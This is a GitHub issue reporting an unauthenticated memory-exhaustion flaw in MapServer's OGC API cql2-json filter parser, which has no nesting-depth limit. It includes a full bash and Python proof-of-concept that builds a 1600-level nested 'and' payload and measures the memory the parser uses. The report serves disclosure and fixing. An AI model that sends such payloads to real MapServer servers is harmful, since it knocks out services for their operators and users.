Skip to content

MapServer Unbounded CQL2-JSON Parsing Causes Memory Exhaustion #7542

Description

@sdjasj

Summary

MapServer's OGC API Features endpoint accepts deeply nested cql2-json filters without any depth limit. A request such as a 1600-level nested boolean and expression forces the runtime to allocate roughly 1 GB of memory from a payload of only about 43 KB, and under a 900 MB memory limit the same request fails with std::bad_alloc.

This is an unauthenticated denial of service in runtime code. The vulnerable path is the live OGC API request handler, not test-only code.

Affected Runtime Code

  • src/mapogcapi.cpp:1582-1599 forwards attacker-controlled filter input to CQL2JSONParse() whenever filter-lang=cql2-json.
  • src/cql2json.cpp:142-205 recursively parses nested JSON operator arguments with ParseOperator() and ParseObject() but applies no expression-depth limit.
  • src/cql2json.cpp:296-303 directly calls json::parse(pszInput) and then recursively builds the AST, again without any depth guard.
  • src/cql2text.cpp:35-36 and src/cql2.h:100-103 show the contrast: the text parser rebalances expressions and enforces a maximum depth, but the JSON parser does neither.
{"op":"and","args":[true,{"op":"and","args":[true, ... ]}]}

Because the JSON path lacks the depth checks present in the text parser, the process allocates excessive memory while parsing and building the expression tree. In local validation:

  • a benign request succeeded normally under a 900 MB address-space limit
  • a 1600-level nested and filter returned Cannot parse filter: Exception while parsing CQL2 JSON: std::bad_alloc under the same 900 MB limit
  • without the artificial limit, the same request completed but reached about 1016000 KB RSS

That is enough for practical worker exhaustion or process termination in constrained deployments.

Reproduction

Run the included poc.sh below. It uses the existing build/mapserv binary and the repository's existing msautotest/config/index.conf OGC API configuration.

The script performs three checks:

  1. A baseline small cql2-json request succeeds under a 900 MB limit.
  2. A malicious nested-and request fails with std::bad_alloc under the same limit.
  3. The same malicious request, run without the limit, shows very high memory usage via /usr/bin/time.
#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
MAPSERV_BIN="${ROOT_DIR}/build/mapserv"
CONFIG_FILE="${ROOT_DIR}/msautotest/config/index.conf"

if [[ ! -x "${MAPSERV_BIN}" ]]; then
  echo "missing binary: ${MAPSERV_BIN}" >&2
  exit 1
fi

TMP_DIR="$(mktemp -d)"
cleanup() {
  rm -rf "${TMP_DIR}"
}
trap cleanup EXIT

python3 - <<'PY' > "${TMP_DIR}/malicious_qs.txt"
import json
import urllib.parse

depth = 1600
obj = True
for _ in range(depth):
    obj = {"op": "and", "args": [True, obj]}

payload = json.dumps(obj, separators=(",", ":"))
query_string = (
    "f=json&limit=1&filter-lang=cql2-json&filter="
    + urllib.parse.quote(payload, safe="")
)

print(query_string)
PY

GOOD_QS='f=json&limit=1&filter-lang=cql2-json&filter=%7B%22op%22%3A%22and%22%2C%22args%22%3A%5Btrue%2Ctrue%5D%7D'
BAD_QS="$(cat "${TMP_DIR}/malicious_qs.txt")"

echo "== Baseline request under 900 MB address-space limit =="
(ulimit -v 900000; \
  env MAPSERVER_CONFIG_FILE="${CONFIG_FILE}" \
      PATH_INFO='/OGCAPI_MAP/ogcapi/collections/ne_110m_land/items' \
      QUERY_STRING="${GOOD_QS}" \
      REQUEST_METHOD=GET \
      "${MAPSERV_BIN}" -nh > "${TMP_DIR}/good.out" 2> "${TMP_DIR}/good.err")
sed -n '1,8p' "${TMP_DIR}/good.out"

echo
echo "== Malicious nested cql2-json and request under the same 900 MB limit =="
(ulimit -v 900000; \
  env MAPSERVER_CONFIG_FILE="${CONFIG_FILE}" \
      PATH_INFO='/OGCAPI_MAP/ogcapi/collections/ne_110m_land/items' \
      QUERY_STRING="${BAD_QS}" \
      REQUEST_METHOD=GET \
      "${MAPSERV_BIN}" -nh > "${TMP_DIR}/bad-limited.out" 2> "${TMP_DIR}/bad-limited.err")
sed -n '1,8p' "${TMP_DIR}/bad-limited.out"

if ! grep -q 'std::bad_alloc' "${TMP_DIR}/bad-limited.out"; then
  echo "expected std::bad_alloc was not observed" >&2
  exit 1
fi

echo
echo "== Memory usage of the malicious request without the artificial limit =="
/usr/bin/time -f 'max_rss_kb=%M elapsed=%E' \
  env MAPSERVER_CONFIG_FILE="${CONFIG_FILE}" \
      PATH_INFO='/OGCAPI_MAP/ogcapi/collections/ne_110m_land/items' \
      QUERY_STRING="${BAD_QS}" \
      REQUEST_METHOD=GET \
      "${MAPSERV_BIN}" -nh > "${TMP_DIR}/bad-unlimited.out" 2> "${TMP_DIR}/bad-unlimited.err" || true
cat "${TMP_DIR}/bad-unlimited.err"
sed -n '1,4p' "${TMP_DIR}/bad-unlimited.out"

RSS_KB="$(sed -n 's/^max_rss_kb=//p' "${TMP_DIR}/bad-unlimited.err" | awk '{print $1}')"
if [[ -z "${RSS_KB}" || "${RSS_KB}" -lt 900000 ]]; then
  echo "malicious request did not consume the expected amount of memory" >&2
  exit 1
fi

echo
echo "PoC succeeded: a ~43 KB nested cql2-json and filter forces bad_alloc under 900 MB and reaches ${RSS_KB} KB RSS without the limit."

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions